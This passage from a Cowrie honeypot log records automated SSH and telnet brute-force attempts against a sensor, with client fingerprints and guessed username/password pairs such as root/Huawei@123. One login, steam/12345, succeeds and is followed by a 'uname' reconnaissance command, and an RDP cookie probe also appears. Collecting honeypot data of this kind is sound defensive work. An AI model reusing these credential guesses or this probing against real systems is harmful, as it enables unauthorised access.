sh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:53.489487Z","src_ip":"45.153.34.112","session":"423836657499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:53.737092Z","src_ip":"45.153.34.112","session":"423836657499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:54.861180Z","src_ip":"45.153.34.112","session":"423836657499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.536730051040649,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:55.060699Z","src_ip":"192.119.13.58","session":"e7cbc7802e7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36126,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0e967b9dc84","protocol":"ssh","message":"New connection: 45.153.34.112:36126 (10.17.0.5:22) [session: a0e967b9dc84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:56.837264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:56.913800Z","src_ip":"45.153.34.112","session":"a0e967b9dc84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:56.987318Z","src_ip":"45.153.34.112","session":"a0e967b9dc84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:57.268499Z","src_ip":"45.153.34.112","session":"a0e967b9dc84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:58.360811Z","src_ip":"45.153.34.112","session":"a0e967b9dc84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39658,"dst_ip":"10.17.0.5","dst_port":23,"session":"11e03995bacb","protocol":"telnet","message":"New connection: 192.119.13.58:39658 (10.17.0.5:23) [session: 11e03995bacb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:58.431910Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49316,"dst_ip":"10.17.0.5","dst_port":22,"session":"36ab309f3d11","protocol":"ssh","message":"New connection: 45.153.34.112:49316 (10.17.0.5:22) [session: 36ab309f3d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:00.439893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:00.445633Z","src_ip":"45.153.34.112","session":"36ab309f3d11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:00.530686Z","src_ip":"45.153.34.112","session":"36ab309f3d11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48058,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd7ce595e60e","protocol":"telnet","message":"New connection: 192.119.13.58:48058 (10.17.0.5:23) [session: bd7ce595e60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:00.581914Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:00.782442Z","src_ip":"45.153.34.112","session":"36ab309f3d11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.903746128082275,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:01.481769Z","src_ip":"192.119.13.58","session":"b1c74abe4746","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39582,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a8391549565","protocol":"telnet","message":"New connection: 192.119.13.58:39582 (10.17.0.5:23) [session: 6a8391549565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:01.491923Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:02.006411Z","src_ip":"45.153.34.112","session":"36ab309f3d11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49328,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb7c748bdc3e","protocol":"ssh","message":"New connection: 45.153.34.112:49328 (10.17.0.5:22) [session: eb7c748bdc3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:03.830637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:03.836308Z","src_ip":"45.153.34.112","session":"eb7c748bdc3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.52593231201172,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:03.872677Z","src_ip":"192.119.13.58","session":"4217ba1c9cd3","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:03.918816Z","src_ip":"45.153.34.112","session":"eb7c748bdc3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:04.169388Z","src_ip":"45.153.34.112","session":"eb7c748bdc3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:05.254554Z","src_ip":"45.153.34.112","session":"eb7c748bdc3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44434,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0cb52b4277d","protocol":"telnet","message":"New connection: 192.119.13.58:44434 (10.17.0.5:23) [session: e0cb52b4277d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:06.588861Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49336,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c0f5f248717","protocol":"ssh","message":"New connection: 45.153.34.112:49336 (10.17.0.5:22) [session: 5c0f5f248717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:07.269530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:07.278719Z","src_ip":"45.153.34.112","session":"5c0f5f248717","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:07.363362Z","src_ip":"45.153.34.112","session":"5c0f5f248717","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345","message":"login attempt [steam/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:07.617338Z","src_ip":"45.153.34.112","session":"5c0f5f248717","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:07.831543Z","src_ip":"45.153.34.112","session":"5c0f5f248717","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:07.835033Z","src_ip":"45.153.34.112","session":"5c0f5f248717","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:07.936331Z","src_ip":"45.153.34.112","session":"5c0f5f248717","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:07.941313Z","src_ip":"45.153.34.112","session":"5c0f5f248717","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51816,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec0e8e3b684e","protocol":"ssh","message":"New connection: 45.153.34.112:51816 (10.17.0.5:22) [session: ec0e8e3b684e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:10.701511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:10.706676Z","src_ip":"45.153.34.112","session":"ec0e8e3b684e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:10.789850Z","src_ip":"45.153.34.112","session":"ec0e8e3b684e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user9","password":"user9","message":"login attempt [user9/user9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:11.157078Z","src_ip":"45.153.34.112","session":"ec0e8e3b684e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:12.308973Z","src_ip":"45.153.34.112","session":"ec0e8e3b684e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51832,"dst_ip":"10.17.0.5","dst_port":22,"session":"db56c0362050","protocol":"ssh","message":"New connection: 45.153.34.112:51832 (10.17.0.5:22) [session: db56c0362050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:14.098717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:14.104204Z","src_ip":"45.153.34.112","session":"db56c0362050","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:14.190349Z","src_ip":"45.153.34.112","session":"db56c0362050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:14.436497Z","src_ip":"45.153.34.112","session":"db56c0362050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63608,"dst_ip":"10.17.0.5","dst_port":22,"session":"7117ecd68a84","protocol":"ssh","message":"New connection: 152.42.212.128:63608 (10.17.0.5:22) [session: 7117ecd68a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:14.676749Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:14.682070Z","src_ip":"152.42.212.128","session":"7117ecd68a84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:14.685924Z","src_ip":"152.42.212.128","session":"7117ecd68a84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:15.522469Z","src_ip":"45.153.34.112","session":"db56c0362050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.03556942939758,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:15.974791Z","src_ip":"192.119.13.58","session":"e61790261e8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.438682079315186,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:16.550469Z","src_ip":"186.195.16.41","session":"4657c5284475","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51848,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb573de1c306","protocol":"ssh","message":"New connection: 45.153.34.112:51848 (10.17.0.5:22) [session: fb573de1c306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:17.806972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:17.812441Z","src_ip":"45.153.34.112","session":"fb573de1c306","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-s